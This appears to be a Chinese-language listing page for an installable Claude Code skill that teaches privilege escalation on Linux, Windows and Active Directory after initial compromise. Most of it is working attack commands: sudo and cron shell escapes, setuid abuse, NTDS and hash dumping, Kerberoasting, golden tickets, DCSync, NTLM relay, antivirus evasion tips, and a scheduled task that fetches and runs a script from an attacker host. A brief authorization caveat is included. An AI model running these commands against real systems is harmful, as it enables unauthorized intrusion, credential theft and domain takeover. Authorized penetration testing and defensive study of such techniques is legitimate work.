关于 Privilege Escalation Methods
面向渗透测试的技能,介绍获得初始 Shell 后在 Linux、Windows 和 Active Directory 中进行权限提升。内容涵盖本地与域攻击技术、凭据收集、前置条件及清理指导。
主要功能
- 01Linux sudo、Cron、Capabilities 与 NFS 利用
- 02Windows 令牌、服务及权限滥用
- 03Active Directory 票据与域攻击
- 04凭据收集及哈希提取
- 05前置条件、排查与清理指导
适用场景
- 01审查 Linux 主机的本地提权路径
- 02测试 Windows 服务和令牌权限
- 03评估 Active Directory 域攻击路径
安装
复制下面的命令,在终端中运行。
$
npx skills add https:/ / github.com/ davila7/ claude-code-templates --skill privilege-escalation-methods安装后在 Claude Code 中输入/privilege-escalation-methods确认已加载。
详细介绍
权限提升方法
目的
提供全面的技术,帮助在已攻陷的 Linux 和 Windows 系统上将低权限用户的权限提升至 root/管理员级别。对于渗透测试的后渗透阶段和红队行动至关重要。
输入/前提条件
- 已获得目标系统上的初始低权限 Shell 访问权限
- Kali Linux 或渗透测试发行版
- 工具:Mimikatz、PowerView、PowerUpSQL、Responder、Impacket、Rubeus
- 了解 Windows/Linux 权限模型
- 对于 AD 攻击:拥有域用户凭据以及访问 DC 的网络权限
输出/交付成果
- Root 或管理员 Shell 访问权限
- 提取的凭据和哈希
- 持久化访问机制
- 域失陷(适用于 AD 环境)
核心技术
Linux 权限提升
1. 滥用 Sudo 二进制文件
使用 GTFOBins 技术利用配置错误的 sudo 权限:
# Check sudo permissions
sudo -l
# Exploit common binaries
sudo vim -c ':!/bin/bash'
sudo find /etc/passwd -exec /bin/bash \;
sudo awk 'BEGIN {system("/bin/bash")}'
sudo python -c 'import pty;pty.spawn("/bin/bash")'
sudo perl -e 'exec "/bin/bash";'
sudo less /etc/hosts # then type: !bash
sudo man man # then type: !bash
sudo env /bin/bash
2. 滥用计划任务(Cron)
# Find writable cron scripts
ls -la /etc/cron*
cat /etc/crontab
# Inject payload into writable script
echo 'chmod +s /bin/bash' > /home/user/systemupdate.sh
chmod +x /home/user/systemupdate.sh
# Wait for execution, then:
/bin/bash -p
3. 滥用 Capabilities
# Find binaries with capabilities
getcap -r / 2>/dev/null
# Python with cap_setuid
/usr/bin/python2.6 -c 'import os; os.setuid(0); os.system("/bin/bash")'
# Perl with cap_setuid
/usr/bin/perl -e 'use POSIX (setuid); POSIX::setuid(0); exec "/bin/bash";'
# Tar with cap_dac_read_search (read any file)
/usr/bin/tar -cvf key.tar /root/.ssh/id_rsa
/usr/bin/tar -xvf key.tar
4. NFS Root Squashing
# Check for NFS shares
showmount -e <victim_ip>
# Mount and exploit no_root_squash
mkdir /tmp/mount
mount -o rw,vers=2 <victim_ip>:/tmp /tmp/mount
cd /tmp/mount
cp /bin/bash .
chmod +s bash
5. 以 Root 身份运行的 MySQL
# If MySQL runs as root
mysql -u root -p
\! chmod +s /bin/bash
exit
/bin/bash -p
Windows 权限提升
1. 令牌冒充
# Using SweetPotato (SeImpersonatePrivilege)
execute-assembly sweetpotato.exe -p beacon.exe
# Using SharpImpersonation
SharpImpersonation.exe user:<user> technique:ImpersonateLoggedOnuser
2. 滥用服务
# Using PowerUp
. .\PowerUp.ps1
Invoke-ServiceAbuse -Name 'vds' -UserName 'domain\user1'
Invoke-ServiceAbuse -Name 'browser' -UserName 'domain\user1'
3. 滥用 SeBackupPrivilege
import-module .\SeBackupPrivilegeUtils.dll
import-module .\SeBackupPrivilegeCmdLets.dll
Copy-FileSebackupPrivilege z:\Windows\NTDS\ntds.dit C:\temp\ntds.dit
4. 滥用 SeLoadDriverPrivilege
# Load vulnerable Capcom driver
.\eoploaddriver.exe System\CurrentControlSet\MyService C:\test\capcom.sys
.\ExploitCapcom.exe
5. 滥用 GPO
.\SharpGPOAbuse.exe --AddComputerTask --Taskname "Update" `
--Author DOMAIN\<USER> --Command "cmd.exe" `
--Arguments "/c net user Administrator Password!@# /domain" `
--GPOName "ADDITIONAL DC CONFIGURATION"
Active Directory 攻击
1. Kerberoasting
# Using Impacket
GetUserSPNs.py domain.local/user:password -dc-ip 10.10.10.100 -request
# Using CrackMapExec
crackmapexec ldap 10.0.2.11 -u 'user' -p 'pass' --kdcHost 10.0.2.11 --kerberoast output.txt
2. AS-REP Roasting
.\Rubeus.exe asreproast
3. Golden Ticket
# DCSync to get krbtgt hash
mimikatz# lsadump::dcsync /user:krbtgt
# Create golden ticket
mimikatz# kerberos::golden /user:Administrator /domain:domain.local `
/sid:S-1-5-21-... /rc4:<NTLM_HASH> /id:500
4. Pass-the-Ticket
.\Rubeus.exe asktgt /user:USER$ /rc4:<NTLM_HASH> /ptt
klist # Verify ticket
5. 使用计划任务的 Golden Ticket
# 1. Elevate and dump credentials
mimikatz# token::elevate
mimikatz# vault::cred /patch
mimikatz# lsadump::lsa /patch
# 2. Create golden ticket
mimikatz# kerberos::golden /user:Administrator /rc4:<HASH> `
/domain:DOMAIN /sid:<SID> /ticket:ticket.kirbi
# 3. Create scheduled task
schtasks /create /S DOMAIN /SC Weekly /RU "NT Authority\SYSTEM" `
/TN "enterprise" /TR "powershell.exe -c 'iex (iwr http://attacker/shell.ps1)'"
schtasks /run /s DOMAIN /TN "enterprise"
凭据收集
LLMNR 投毒
# Start Responder
responder -I eth1 -v
# Create malicious shortcut (Book.url)
[InternetShortcut]
URL=https://facebook.com
IconIndex=0
IconFile=\\attacker_ip\not_found.ico
NTLM 中继
responder -I eth1 -v
ntlmrelayx.py -tf targets.txt -smb2support
使用 VSS 转储
vssadmin create shadow /for=C:
copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Windows\NTDS\NTDS.dit C:\temp\
copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Windows\System32\config\SYSTEM C:\temp\
快速参考
| 技术 | 操作系统 | 是否需要域 | 工具 |
|---|---|---|---|
| 滥用 Sudo 二进制文件 | Linux | 否 | GTFOBins |
| Cron 任务利用 | Linux | 否 | 手动 |
| 滥用 Capability | Linux | 否 | getcap |
| NFS no_root_squash | Linux | 否 | mount |
| 令牌冒充 | Windows | 否 | SweetPotato |
| 滥用服务 | Windows | 否 | PowerUp |
| Kerberoasting | Windows | 是 | Rubeus/Impacket |
| AS-REP Roasting | Windows | 是 | Rubeus |
| Golden Ticket | Windows | 是 | Mimikatz |
| Pass-the-Ticket | Windows | 是 | Rubeus |
| DCSync | Windows | 是 | Mimikatz |
| LLMNR 投毒 | Windows | 是 | Responder |
限制条件
必须:
- 尝试提升权限前,必须先获得初始 Shell 访问权限
- 选择技术前,必须确认目标操作系统和环境
- 必须根据域或本地权限提升场景使用适当的工具
不得:
- 未经授权,不得在生产系统上尝试这些技术
- 未经客户批准,不得留下持久化机制
- 不得忽视检测机制(EDR、SIEM)
应该:
- 在利用前进行彻底枚举
- 记录所有成功的权限提升路径
- 在行动结束后清理残留文件
示例
示例 1:从 Linux Sudo 提升至 Root
# Check sudo permissions
$ sudo -l
User www-data may run the following commands:
(root) NOPASSWD: /usr/bin/vim
# Exploit vim
$ sudo vim -c ':!/bin/bash'
root@target:~# id
uid=0(root) gid=0(root) groups=0(root)
示例 2:Windows Kerberoasting
# Request service tickets
$ GetUserSPNs.py domain.local/jsmith:Password123 -dc-ip 10.10.10.1 -request
# Crack with hashcat
$ hashcat -m 13100 hashes.txt rockyou.txt
故障排除
| 问题 | 解决方案 |
|---|---|
| sudo -l 要求输入密码 | 尝试其他枚举方式(SUID、cron、capabilities) |
| Mimikatz 被 AV 拦截 | 使用 Invoke-Mimikatz 或 SafetyKatz |
| Kerberoasting 未返回哈希 | 检查是否存在带 SPN 的服务帐户 |
| 令牌冒充失败 | 确认是否存在 SeImpersonatePrivilege |
| NFS 挂载失败 | 检查 NFS 版本兼容性(vers=2,3,4) |
更多资源
如需详细的枚举脚本,请使用:
- LinPEAS:Linux 权限提升枚举
- WinPEAS:Windows 权限提升枚举
- BloodHound:Active Directory 攻击路径映射
- GTFOBins:Unix 二进制文件利用参考
评论
支持 Markdown